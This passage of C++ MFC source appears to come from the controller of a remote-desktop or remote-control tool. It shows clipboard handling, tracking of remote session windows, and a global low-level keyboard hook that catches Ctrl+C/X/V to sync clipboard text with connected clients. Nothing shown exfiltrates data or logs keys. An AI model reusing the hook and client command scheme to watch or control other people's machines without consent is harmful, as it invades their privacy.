EmptyClipboard();
#ifdef UNICODE
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, (text.GetLength() + 1) * sizeof(wchar_t));
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
if (p) wcscpy_s(p, text.GetLength() + 1, text);
#else
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, (text.GetLength() + 1) * sizeof(char));
char* p = static_cast<char*>(GlobalLock(hGlob));
if (p) strcpy_s(p, text.GetLength() + 1, CT2A(text)); // CT2A 宏把 CString 转成 char*
#endif
GlobalUnlock(hGlob);
#ifdef UNICODE
SetClipboardData(CF_UNICODETEXT, hGlob);
#else
SetClipboardData(CF_TEXT, hGlob);
#endif
CloseClipboard();
}
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
{
if (!::IsWindow(hWnd)) return FALSE;
EnterCriticalSection(&m_cs);
auto find = m_RemoteWnds.find(hWnd);
auto ret = find == m_RemoteWnds.end() ? NULL : find->second;
LeaveCriticalSection(&m_cs);
return ret;
}
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
EnterCriticalSection(&m_cs);
m_RemoteWnds.erase(wnd);
LeaveCriticalSection(&m_cs);
}
LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
do {
static CDialogBase* operateWnd = nullptr;
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
// 只在按下时处理
if (wParam == WM_KEYDOWN)
{
// 检测 Ctrl+C / Ctrl+X
if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
HWND hFore = ::GetForegroundWindow();
operateWnd = g_2015RemoteDlg->GetRemoteWindow(hFore);
if (!operateWnd)
g_2015RemoteDlg->m_pActiveSession = nullptr;
}
// 检测 Ctrl+V
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V')
{
HWND hFore = ::GetForegroundWindow();
CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
if (dlg)
{
if (dlg == operateWnd)break;
// [1] 本地 -> 远程
CString strText = GetClipboardText();
if (!strText.IsEmpty()) {
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1);
Mprintf("【Ctrl+V】 从本地拷贝到远程 \n");
SAFE_DELETE_ARRAY(szBuffer);
}
}
else if (g_2015RemoteDlg->m_pActiveSession)
{
// [2] 远程 -> 本地
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(&bToken, sizeof(bToken));
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
}
else
{
Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
}
}
}
} while (0);
}
// 允许消息继续传递
return CallNextHookEx(g_2015RemoteDlg->g_hKeyboardHook, nCode, wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam)
{
CDialogBase* pSession = reinterpret_cast<CDialogBase*>(wParam);
m_pActiveSession = pSession;
return 0;
}